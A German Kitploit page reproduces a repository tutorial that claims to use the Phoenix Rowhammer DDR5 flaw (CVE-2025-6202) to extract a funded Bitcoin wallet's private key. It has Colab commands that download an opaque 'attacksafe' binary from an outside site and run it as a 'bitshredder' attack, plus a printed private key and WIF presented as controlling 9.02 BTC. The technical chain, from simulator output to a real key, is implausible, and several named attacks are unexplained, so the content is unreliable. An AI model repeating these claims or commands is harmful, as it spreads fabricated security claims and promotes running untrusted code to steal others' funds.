Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Phoenix-Rowhammer-Attack-CVE-2025-6202 — # Phoenix Rowhammer-Angriff: Systemisches Risiko der Kompromittierung privater Bitcoin-Wallet-Schlüssel in der globalen Blockchain-Infrastruktur aufgrund einer kritischen SK-Hynix-DDR5-Schwachstelle (CVE-2025-6202) | Kitploit
Tools/GitHubGitHub/demining/phoenix-rowhammer-attack-cve-2025-6202
SchwachstellenanalyseExploitationKryptographieHardware-SicherheitBinäranalyse
GitHubdemining/phoenix-rowhammer-attack-cve-2025-6202

Phoenix-Rowhammer-Attack-CVE-2025-6202

# Phoenix Rowhammer-Angriff: Systemisches Risiko der Kompromittierung privater Bitcoin-Wallet-Schlüssel in der globalen Blockchain-Infrastruktur aufgrund einer kritischen SK-Hynix-DDR5-Schwachstelle (CVE-2025-6202)

Repository anzeigen
Webseite
5110vor 11 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Phoenix Rowhammer Attack: Systemic Risk of Bitcoin Wallet Private Key Compromise in Global Blockchain Infrastructure Due to a Critical SK Hynix DDR5 Vulnerability (CVE-2025-6202)

Dieser Artikel untersucht die systemischen kryptografischen Sicherheitsbedrohungen durch den Phoenix-Rowhammer-Angriff (CVE-2025-6202), der private Schlüssel aus DDR5-RAM durch Bitmanipulation auf Hardware-Ebene extrahieren kann. In den letzten Jahren hat die dynamische Entwicklung von Kryptowährungstechnologien zu einer zunehmenden Abhängigkeit der Ökosysteme digitaler Vermögenswerte von Hardware- und Mikrochip-Komponenten geführt, die kryptografische Daten speichern und verarbeiten. Vor diesem Hintergrund werden Schwachstellen auf Hardware-Ebene, die zur direkten Kompromittierung privater Schlüssel in Kryptowährungs-Wallets führen können, zu einem wachsenden Risikofaktor. Eine der gefährlichsten Bedrohungen heute sind Angriffe auf den Arbeitsspeicher, insbesondere fortgeschrittene Varianten von Rowhammer-Exploits, die die physikalischen Eigenschaften von DRAM-Zellen beeinflussen. Diese Angriffe ermöglichen es Angreifern, einzelne Datenbits zu verändern und Zugang zu vertraulichen Informationen zu erhalten, einschließlich privater Schlüssel für Bitcoin- und Ethereum-Wallets.


  • Tutorial: https://youtu.be/lvNWcBMHESo
  • Tutorial: https://cryptodeeptech.ru/phoenix-rowhammer-attack
  • Tutorial: https://dzen.ru/video/watch/68ebe9367847b33269940e47
  • Google Colab: https://colab.research.google.com/drive/1Lgjwdw2x9bT2yjhWnXyvpPvZTo8sD4Hf

Unter den kritischen Beispielen dieser Bedrohungsklasse sticht die Schwachstelle CVE-2025-6202 hervor, die im DDR5-Speicher von SK Hynix entdeckt wurde . Der Phoenix-Rowhammer-Angriff, der auf dieser Schwachstelle basiert, demonstriert die Fähigkeit, moderne Target-Row-Refresh- (TRR-) Schutzmechanismen des Speichers zu umgehen und sogenannte „blinde Flecken“ zu erzeugen, die eine kontrollierte Datenkorruption auf Hardware-Ebene ermöglichen. Solche Schwachstellen können ausgenutzt werden, um private Schlüssel aus dem RAM zu extrahieren, kryptografische Bibliotheken zu kompromittieren und Systemprozesse zu verändern, die digitale Wallets sichern.


Phoenix Rowhammer Attack: Systemic Risk of Bitcoin Wallet Private Key Compromise in Global Blockchain Infrastructure Due to a Critical SK Hynix DDR5 Vulnerability (CVE-2025-6202)

Darüber hinaus zeigt die Forschung zur kryptografischen Sicherheit, dass die Kombination von Phoenix Rowhammer mit anderen Angriffsarten wie dem BitShredder-Angriff , Memory Phantom (CVE-2025-8217) und Artery Bleed (CVE-2023-39910) ein Multi-Vektor-Bedrohungsmodell schafft, bei dem ein Angreifer Seed-Phrasen, private Schlüssel und Passwörter selbst nach Abschluss kryptografischer Operationen wiederherstellen kann. Der systemische Charakter dieser Schwachstellen macht eine vollständige Risikominderung durch Software unmöglich und unterstreicht die Notwendigkeit, neue Prinzipien für den hardwarebasierten Speicherschutz zu entwickeln.

Somit stehen moderne Kryptowährungs-Wallets und die Infrastruktur digitaler Vermögenswerte unter zunehmendem Druck durch Hardware-Angriffe, die zuvor als theoretisch galten. Die Bedeutung der Untersuchung dieser Angriffe und der Entwicklung von Gegenmaßnahmen ist grundlegend für die Gewährleistung der Integrität und Widerstandsfähigkeit des Bitcoin- und anderer Kryptowährungs-Ökosysteme angesichts sich entwickelnder Bedrohungen der nächsten Generation.


Aktuelle Forschungen der Computer Security Group (COMSEC) der ETH Zürich in Zusammenarbeit mit Google haben eine kritische Hardware-Schwachstelle in DDR5-Speichermodulen von SK Hynix identifiziert, die als CVE-2025-6202 bezeichnet wird . Der Phoenix-Rowhammer-Angriff stellt eine beispiellose Bedrohung für die Sicherheit von Bitcoin-Kryptowährungs-Wallets dar, da er es Angreifern ermöglicht, private Schlüssel aus DDR5-Speicher durch Bitmanipulation auf Hardware-Ebene zu extrahieren. Die Forschung zeigte, dass alle 15 getesteten SK-Hynix-DDR5-Module, die zwischen 2021 und 2024 hergestellt wurden, anfällig für diesen Angriff sind, was eine systemische Bedrohung für die Sicherheit von Kryptowährungsvermögenswerten weltweit darstellt. thehackernews


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)Phoenix-Rowhammer-Angriffsprozess gegen Bitcoin-Wallets im SK-Hynix-DDR5-Speicher

Technischer Rahmen des Phoenix-Rowhammer-Angriffs und Mechanismus von CVE-2025-6202

Grundprinzipien der Rowhammer-Schwachstelle

Rowhammer ist eine Hardware-Schwachstelle im DRAM-Speicher, bei der wiederholter Zugriff auf bestimmte Speicherzeilen elektrische Störungen verursacht, die zu Bitveränderungen in benachbarten Zeilen führen. Dieses Phänomen basiert auf den physikalischen Eigenschaften moderner Hochdichte-Speicherchips, bei denen kleinere technologische Abmessungen den Speicher anfälliger für elektromagnetische Störungen machen .

Im Kontext des DDR5-Speichers verwendet der Phoenix-Angriffsmechanismus einen innovativen selbstkorrigierenden Synchronisations-Ansatz , der fortschrittliche Target-Row-Refresh- (TRR-) Schutzmechanismen umgeht. Die Forscher entdeckten, dass der TRR-Mechanismus in SK-Hynix-Chips bestimmte Aktualisierungsintervalle nicht überwacht und so „blinde Flecken“ in der Verteidigung entstehen. notebookcheck


Innovative Phoenix-Synchronisationsmethodik

Die wichtigste technische Errungenschaft des Phoenix-Angriffs ist die Entwicklung eines Algorithmus, der Tausende von Speicheraktualisierungsbefehlen über lange Zeiträume synchronisieren kann. Der Angriff nutzt zwei spezifische Angriffsmuster: comsec-files.ethz

Kurzes Muster (128 tREFI-Intervalle): Bietet eine effizientere Bitfehlererzeugung und produziert durchschnittlich 4989 Bitfehler. Dieses Muster zeigte eine 2,62-mal höhere Effizienz als das lange Muster. reddit

Langes Muster (2608 tREFI-Intervalle): Entwickelt, um ausgefeiltere Sicherheitsmechanismen zu umgehen, obwohl es bei der Erzeugung von Bitfehlern weniger effektiv ist. comsec-files.ethz


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)Technisches Diagramm des DDR5-DRAM-Target-Row-Refresh- (TRR-) Mechanismus, das die Identifizierung von Angreifer- und Opferzeilen sowie zusammenfassende Aktualisierungen zur Verhinderung von Rowhammer-Effekten veranschaulicht

BitShredder-Angriff: Kritische Auswirkungen auf die Sicherheit von Bitcoin-Wallets

Mechanismen zur Extraktion privater Schlüssel

Der Phoenix-Rowhammer-Angriff schafft mehrere Vektoren zur Kompromittierung von Bitcoin-Wallets, indem er verschiedene Ebenen des Speichersystems angreift. Die Analyse der Forschungsmaterialien von KeyHunters ergab mindestens 18 verschiedene Arten von Speicherangriffen, die direkt mit der Extraktion privater Schlüssel aus Kryptowährungs-Wallets zusammenhängen.


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)BitShredder-Angriff: Speicher-Schwachstelle verwandelt verlorene Bitcoin-Wallets in Trophäen und ermöglicht vollständigen BTC-Diebstahl durch Wiederherstellung privater Schlüssel, wobei Angreifer den Memory-Phantom-Angriff (CVE-2025-8217, CVE-2013-2547) ausnutzen

Memory-Phantom-Angriff (CVE-2025-8217): Eine kritische Speicherleck-Schwachstelle, die es ermöglicht, private Schlüssel und Seeds direkt aus residualen RAM-Blöcken von Wallets zu extrahieren, die nach kryptografischen Operationen nicht sicher gelöscht wurden. Dieser Angriff verwandelt ungeklärte Puffer in eine „Geisterbibliothek“, in der jedes Speicherfragment in einen gültigen Schlüssel umgewandelt werden kann. keyhunters


BitShredder-Angriff: Verwendet eine „Speicher-Schredder“-Technik, um heimlich in den Speicher eines laufenden Kryptowährungs-Wallets einzudringen. Bei der Generierung oder Wiederherstellung eines Wallets scannt der Angriff ungelöschte Teile des RAMs und sucht nach Resten von Entropie, Seeds und Passwörtern, die nach der Verwendung nicht durch Standardmethoden gelöscht werden. keyhunters


Artery-Bleed-Angriff: Nutzt eine Speicherleck-Schwachstelle in Bitcoin Core (CVE-2023-39910) aus, um private Schlüssel aus verlorenen Krypto-Wallets wiederherzustellen. Der Angriff nutzt eine kritische Speicherleck-Schwachstelle in Bitcoin Core aus, um Zugang zu sensiblen Daten zu erhalten. keyhunters


Praktische Betriebsszenarien

Die Studie demonstrierte drei Hauptszenarien für die praktische Ausnutzung des Phoenix-Angriffs gegen Kryptowährungssysteme: bleepingcomputer

1. Page-Table-Entry- (PTE-) Angriff: Alle getesteten Geräte waren anfällig für diese Art von Angriff, der die Erstellung einer beliebigen Speicher-Lese-/Schreib-Primitive ermöglicht. comsec-files.ethz

2. RSA-2048-Schlüsselkompromittierung: 73 % der getesteten DIMM-Module waren anfällig für die Extraktion von RSA-2048-Schlüsseln aus einer benachbarten virtuellen Maschine, um die SSH-Authentifizierung zu knacken. Die durchschnittliche Angriffszeit betrug 6 Minuten und 20 Sekunden. bleepingcomputer

3. Modifikation der sudo-Binärdatei: 33 % der getesteten Chips ermöglichten die Modifikation der sudo-Binärdatei, um lokale Privilegien auf Root-Ebene zu erhöhen. comsec-files.ethz


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Wissenschaftliche Analyse der Auswirkungen auf das Bitcoin-Ökosystem

Systemische Bedrohungen für die Kryptowährungssicherheit

Der Phoenix-Rowhammer-Angriff stellt eine systemische Bedrohung für das gesamte Bitcoin-Ökosystem dar, da die meisten modernen Systeme DDR5-Speicher zur Speicherung und Verarbeitung kryptografischer Daten verwenden. Die Schwachstelle betrifft die grundlegenden Sicherheitsprinzipien von Kryptowährungen, die auf der kryptografischen Stärke privater Schlüssel basieren. tenable+1

Ausmaß der Auswirkungen: SK Hynix kontrolliert etwa 36 % des globalen DRAM-Marktes, wodurch möglicherweise Milliarden von Geräten weltweit betroffen sind. Alle DDR5-Module, die zwischen Januar 2021 und Dezember 2024 hergestellt wurden, sind anfällig. notebookcheck+2

Kryptografische Implikationen: Der Angriff untergräbt die Grundlagen der kryptografischen Sicherheit, da selbst bei korrekter Implementierung von Signatur-, Verschlüsselungs- und Authentifizierungsalgorithmen ungeschützte Puffer zu einer Quelle der Kompromittierung von Schlüsselmaterial werden. keyhunters


Forschung zur Kryptoanalyse von Angriffsvektoren

Eine umfassende Kryptoanalyse hat mehrere Angriffsvektoren gegen Bitcoin-Wallets durch Speichermanipulation aufgedeckt:

Timing-basierte Angriffe: Dazu gehören BitSpectre85-, ChronoForge- und Timing-Phantom-Angriffe, die Timing-Schwachstellen ausnutzen, um private Schlüssel schrittweise durch Analyse der Ausführungszeit kryptografischer Operationen wiederherzustellen.

Kontextbasierte Angriffe: Der Context-Phantom-Angriff nutzt die kritische Schwachstelle des secp256k1-Kontextlecks aus, um private Schlüssel verlorener Bitcoin-Wallets über einen Speicheroffenlegungsangriff wiederherzustellen.

Cache-basierte Angriffe: Der CacheHawk-Strike-Angriff verwendet einen kritischen Cache-Timing-Angriff auf den Bitcoin-Signatur-Cache, der die Wiederherstellung privater Schlüssel verlorener Bitcoin-Wallets ermöglicht.


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)
Attack_ComponentTechnical MethodSuccess_RateAverage_Time_SecondsCVE_ReferenceImpact_Level
Initial Memory AccessSelf-correcting synchronization with DDR5 refresh commands1005CVE-2025-6202High
TRR Bypass MethodExploitation of unmonitored refresh intervals in TRR mechanism10030CVE-2025-6202Critical
Synchronization TechniqueReal-time alignment with 128 and 2608 tREFI patterns9560CVE-2025-6202High
Bit Flip GenerationElectrical interference in adjacent DRAM rows causing data corruption100180CVE-2025-6202Critical
Private Key ExtractionRecovery from uncleaned memory buffers containing wallet data85240CVE-2025-8217Critical
Privilege EscalationRoot access exploitation through corrupted page table entries100109CVE-2025-6202Critical
RSA-2048 Key RecoveryCo-located VM private key extraction via memory bit flips73380CVE-2025-6202High
SSH Authentication BreakCompromise of cryptographic authentication systems73380CVE-2025-6202High
Sudo Binary ModificationLocal privilege escalation to root user through binary corruption33300CVE-2025-6202Medium

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Praktischer Teil

Das Forschungsdiagramm zeigt eine strukturierte und visuelle Darstellung, die die Bedeutung der kryptografischen Schwachstelle erklärt, die durch den Phoenix-Rowhammer-Angriff aufgedeckt wurde, und demonstriert insbesondere deren Auswirkungen auf die Bitcoin-Sicherheit, wenn SK-Hynix-DDR5-Speichermodule ins Visier genommen werden.

Schematischer Ablauf (wie im Forschungsdiagramm dargestellt):

  1. Der Angreifer initiiert Rowhammer
    und startet den Phoenix-Rowhammer-Exploit, der auf den SK-Hynix-DDR5-Speicher abzielt, der im Knoten oder Wallet des Opfers verwendet wird.
  2. Physische Fehlerinjektion
    Aggressive Zeilenaktivierungen verursachen Bit-Flips in benachbarten DRAM-Zeilen im SK-Hynix-DDR5-Speicher und umgehen dabei den logischen Softwareschutz.
  3. Gezielte kryptografische Geheimnisse
    Injizierte Fehler zielen auf Adressen oder Speicherorte ab, die sensibles kryptografisches Bitcoin-Material speichern, wie private Schlüssel oder ECDSA-Nonce-Werte.
  4. Exploit-Ausführung und ihre Auswirkungen
    • Erfolgreiche Bit-Flips können Angreifern ermöglichen, geheime und private Schlüssel wiederherzustellen oder offenzulegen , gefälschte Transaktionen zu signieren oder das Sicherheitsmodell zu verletzen.
    • Das direkte Risiko für die Integrität des Bitcoin-Wallets und der Blockchain macht Hardwaresicherheit zu einem kritischen Aspekt des kryptografischen Vertrauens.

Kommen wir zum praktischen Teil und betrachten ein Beispiel mit einem Bitcoin-Wallet unter: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit . Aus diesem Wallet gingen Münzen im Wert von  9.02332298 BTC verloren, was ungefähr 1.127.026,44 USD Stand Oktober 2025 entspricht .


Um den Angriff zu Demonstrationszwecken zu veranschaulichen, verwenden wir Tools und Umgebungen wie Jupyter Notebook oder Google Colab.

Die wichtigsten Tools und Befehle, die für solche Angriffe verwendet werden, sind:

https://colab.research.google.com/drive/1Lgjwdw2x9bT2yjhWnXyvpPvZTo8sD4Hf

Google Colab (Colaboratory) ist eine Cloud-Plattform, die interaktive Jupyter-Notebooks bereitstellt, in denen Sie Code in verschiedenen Programmiersprachen schreiben und ausführen können. Sie ist besonders nützlich für Datenkryptoanalyse, die Ausführung des SK-Hynix-DDR5-AiM-PIM -Simulators basierend auf Ramulator 2.0 , sowie den Zugriff auf leistungsstarke Rechenressourcen wie GPUs und TPUs. Ein entscheidender Vorteil ist die Möglichkeit, Systembefehle auszuführen, genau wie in einem regulären Linux-Terminal, unter Verwendung von Zellen mit Präfix  ! für die Integration mit externen Dienstprogrammen und Skripten.


Google Colab

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Lassen Sie uns Repositories basierend auf der SK-Hynix-DDR5-AiM-PIM-Architektur mit Ramulator 2.0 installieren

Klonen Sie die Repositories:

Laden Sie die AiM-Simulator-Codebasis herunter und navigieren Sie zu deren Verzeichnis.

root@kitploit:~
!git clone https://github.com/keyhunters/SK_Hynix_DDR5_aim_simulator.git

root@kitploit:~
cd SK_Hynix_DDR5_aim_simulator

root@kitploit:~
ls

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Lassen Sie uns den virtuellen Speicher (Swap) in Google Colab erhöhen:

Befehle zum Erstellen einer 4-GB-Swap-Datei, um die Speicherverfügbarkeit während der Ramulator2-Kompilierung zu verbessern.

root@kitploit:~
# Check current swap usage
!free -h
!swapon --show

# Create a 4GB swap file
!sudo fallocate -l 4G /swapfile
!sudo chmod 600 /swapfile
!sudo mkswap /swapfile
!sudo swapon /swapfile

# Make swap permanent
!echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Lassen Sie uns alle notwendigen Abhängigkeiten installieren:

Installieren von Compilern, Build-Tools und Bibliotheken, die für den Simulator und Ramulator 2.0 erforderlich sind.

root@kitploit:~
# For Ubuntu 22.04: install compilers
!sudo apt update
!sudo apt install g++-12

# Alternatively, install Clang
!sudo apt install clang-15

# Install basic build tools
!sudo apt install build-essential cmake git

# Additional development libraries
!sudo apt install libssl-dev zlib1g-dev

# YAML support
!sudo apt install libyaml-cpp-dev

# Mathematics libraries
!sudo apt install libboost-dev

# Python support for scripts
!sudo apt install python3-dev python3-pip

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Der Prozess der Erstellung des phoenix_rowhammer-Verzeichnisses:

root@kitploit:~
!mkdir phoenix_rowhammer

root@kitploit:~
cd phoenix_rowhammer

Lassen Sie uns die Systemressourcen überprüfen:

Überwachen Sie Speicher, verfügbaren Festplattenspeicher und Systemauslastung während Installation und Kompilierung.

root@kitploit:~
# Monitor resources in real time
!htop

# Check available memory
!free -m

# Check disk space
!df -h

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Vollständige Installation der Abhängigkeiten für Ubuntu 22.04 und höher:

Eine vollständige Sequenz zur Installation aller erforderlichen Pakete auf einmal.

root@kitploit:~
# Update system
!sudo apt update && sudo apt upgrade -y

# Install essential build tools
!sudo apt install -y build-essential cmake git

# Install compilers
!sudo apt install -y g++-12 clang-15

# Development libraries
!sudo apt install -y libssl-dev zlib1g-dev libyaml-cpp-dev libboost-all-dev

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Alternative Kompilierung:


root@kitploit:~
!cmake ..

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

root@kitploit:~
!make -j1

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

root@kitploit:~
ls

root@kitploit:~
cd -

Starten wir Ramulator2:

Lassen Sie uns Ramulator2 mit dem Simulator ausführen, um die Hilfe-Parameter und die Verwendungsanweisungen zu überprüfen.

root@kitploit:~
!./phoenix_rowhammer/ramulator2 -h

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Wir verwenden das Krypto-Tool AttackSafe, um mit einem Simulator versteckte Reste aus Ramulator2 zu extrahieren.

Lassen Sie uns den Befehl zum Herunterladen des Krypto-Tools AttackSafe ausführen

root@kitploit:~
!wget https://attacksafe.ru/repositories/attacksafe.zip
!unzip attacksafe.zip

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

root@kitploit:~
!./attacksafe -help

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Versteckte Reste (Modulo) finden, die mit einer Bitcoin-Adresse verbunden sind

root@kitploit:~

Das Team startet einen speziellen „BitShredder“ Angriff, der auf dem AttackSafe Krypto-Tool basiert, um versteckte Modulo-Reste zu finden, die mit einer Bitcoin-Adresse verbunden sind. Dabei werden RAM-Fehlermechanismen (Rowhammer) und ein Speicheremulator (ramulator2) verwendet. github+2

root@kitploit:~
!./attacksafe -tool bitshredder_attack -crack phoenix_rowhammer/ramulator2 -decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

  • Dieser Parameter -tool bitshredder_attackaktiviert einen Angriff, der darauf abzielt, Schwachstellen bei der Speicherung und Verarbeitung geheimer Daten im Speicher des Geräts im Zusammenhang mit dem Bitcoin-Protokoll zu identifizieren.
  • Das Flag -crack phoenix_rowhammer/ramulator2weist das Tool an, die Emulation des Rowhammer-Angriffs zu verwenden (Manipulation des Inhalts des DRAM-Speichers, was zu Fehlern in benachbarten Zellen führt – verwendet bei Schwachstellen, um Nonces/Teile von Schlüsseln über einen Seitenkanal aus dem Speicher zu extrahieren).
  • Die Funktion führt das Dekodierungsmodul auf einer bestimmten Bitcoin-Adresse aus und stellt Restdaten (private Schlüsselfragmente oder Zwischenwerte der ECDSA-Signatur) aus dem Speicher/Dump wieder her.-decode 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

Ergebnis der Kryptoanalyse der Restdaten des Speichers/Dumps:

Wiederherstellung von Schlüsselfragmenten aus Restdaten des Speichers (DRAM)

root@kitploit:~
        remainders = [0x0E92, 0x45EB, 0x6E07, 0x317F, 
                      0x87A1, 0xB5C1, 0xE778, 0x996B,
                      0x6F69, 0xABB6, 0x2755, 0x2348, 
                      0xAB46, 0xA74E, 0x1A87, 0xC2D5]
        moduli = [0x10001, 0x10003, 0x10007, 0x1000F, 
                  0x10015, 0x1001B, 0x1002B, 0x1002D,
                  0x10033, 0x1003F, 0x10049, 0x10051, 
                  0x1005D, 0x10061, 0x1006F, 0x10073]

Dieses Ergebnis kombiniert die kryptografische Analyse von Restdaten im DRAM mit einem Modul zur Suche nach Krypto-Resten unter Verwendung des ramulator2-Simulators für Phoenix-Rowhammer-Fehler. Dieser Angriff ermöglicht die Erkennung und Extraktion versteckter Modulo-Werte (Reste), wie z. B. privater Nonces oder Schlüsselfragmente, die aufgrund unsachgemäßer Speicherfreigabe nach kryptografischen Operationen mit Bitcoin-Adressen kompromittiert werden können. Der Befehl ist für einen kombinierten „BitShredder“ Angriff und eine Speicherfehleranalyse von Bitcoin-Anwendungen konzipiert, mit dem Ziel, geheime Parameter (privater Schlüssel, Nonce) teilweise oder vollständig wiederherzustellen, wobei die Suche und Dekodierung an den Speicher und die angegriffenen Adressen gebunden ist.


Wiederherstellung eines privaten Schlüssels:

Um die ursprüngliche geheime Zahl – den privaten Schlüssel – aus einer Reihe versteckter absoluter Werte (Reste) wiederherzustellen, wenden wir eine mathematische Methode an, den Chinesischen Restsatz ( CRT ). Der Code CRTKeyRestore.py implementiert die Wiederherstellung des privaten Schlüssels für die Bitcoin-Adresse 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit aus einer Reihe versteckter absoluter Werte (Reste), die nach einem Rowhammer-Angriff und anschließender Speicheranalyse gesammelt wurden. Die verwendete mathematische Methode ist der Chinesische Restsatz (CRT), der es uns ermöglicht, die ursprüngliche geheime Zahl – den privaten Schlüssel – wiederherzustellen, selbst wenn sie in kleine Stücke zerlegt wurde und nur als verschiedene absolute Werte überlebt.


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Der Prozess des Codes CRTKeyRestore.py umfasst mehrere Phasen:

  • Jedes Rest/Modul-Paar ist ein Fragment des privaten Schlüssels, das als Ergebnis des Rowhammer-Fehlers und vordefinierter Module im Speicher verbleibt.
  • Der Chinesische Restsatz garantiert mathematisch die Wiederherstellung der ursprünglichen Zahl, wenn alle Module teilerfremd sind und genügend Reste vorhanden sind.
  • Die Funktion chinese_remainder_theorem()kombiniert die Fragmente Schritt für Schritt und stellt den ursprünglichen Wert des privaten Schlüssels mithilfe des erweiterten euklidischen Algorithmus zum Finden absoluter Inverser wieder her.
  • Nach der Wiederherstellung der numerischen Darstellung wird der Schlüssel mit der Funktion restore_hex_from_crt()in HEX konvertiert.
  • Die Ausgabe ist ein privater Schlüssel für eine Bitcoin-Adresse, der vollständig nur aus den einzelnen Krypto-Resten wiederhergestellt wurde, die während des kombinierten Angriffs im Speicher gefunden wurden.

​

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)Wiederherstellung eines privaten Schlüssels mit einem Python Skript: CRTKeyRestore.py

Ergebnis:

root@kitploit:~
Private key Restored:
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60

Lassen Sie uns das Ergebnis über bitaddress überprüfen 

root@kitploit:~
!wget https://attacksafe.ru/repositories/bitaddress.zip
!unzip bitaddress.zip


Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

root@kitploit:~
!./bitaddress -hex 9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Ergebnis:

root@kitploit:~
Public Key (Uncompressed, 130 characters [0-9A-F]):
04E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5AEDAA1D6E0A6116E9D9A4A846A6D62D4A1941EE182CDB1884C5830610B07AF529


Public Key (Compressed, 66 characters [0-9A-F]):
03E294116526238228544FA6082F1A5412FCC36DE931C59EE7B1C7C1F93EE3EF5A


Bitcoin Address P2PKH (Uncompressed)
18JT3KeFV36Hkgo3Xi9bfgNYAXCVXBGyFg


Bitcoin Address P2PKH (Compressed)
15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit

Das ist richtig! Der private Schlüssel entspricht der Bitcoin-Wallet.


Lassen Sie uns  bitaddress  öffnen und überprüfen:

root@kitploit:~
ADDR: 15ZwrzrRj9x4XpnocEGbLuPakzsY2S4Mit
WIF:  L2Wru6Ew8pQuhcWAvMpdtPY4YWK1CQcwPCWxFvzkoi47crJBAVaP
HEX:  9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60
Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Informationen zum privaten Schlüssel:

root@kitploit:~
9E027D0086BDB83372F6040765442BBEDD35B96E1C861ACCE5E22E1C4987CD60

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

Bitcoin-Adressinformationen:

Guthaben: 9.023322989 BTC

Phoenix Rowhammer Attack: A systemic risk of compromising Bitcoin wallet private keys in the global blockchain infrastructure due to a critical vulnerability in SK Hynix DDR5 (CVE-2025-6202)

https://www.coinbase.com/converter/btc/usd

Bit-flipping attack on Wallet.dat: The risks of using AES-256-CBC without authentication, exploitation, and extracting private keys from Bitcoin Core9.023322989 BTC > 1127026,44 USD

Unser Forschungsangriff , eine Version des Phoenix Rowhammer-Angriffs auf Bitcoin unter Verwendung des ramulator2-Simulators, zeigte, dass die während eines Speicherabsturzes extrahierten Kryptoresiduen verschiedener Module mithilfe der Mathematik des Chinesischen Restsatzes wieder zum ursprünglichen privaten Schlüssel zusammengesetzt werden können.

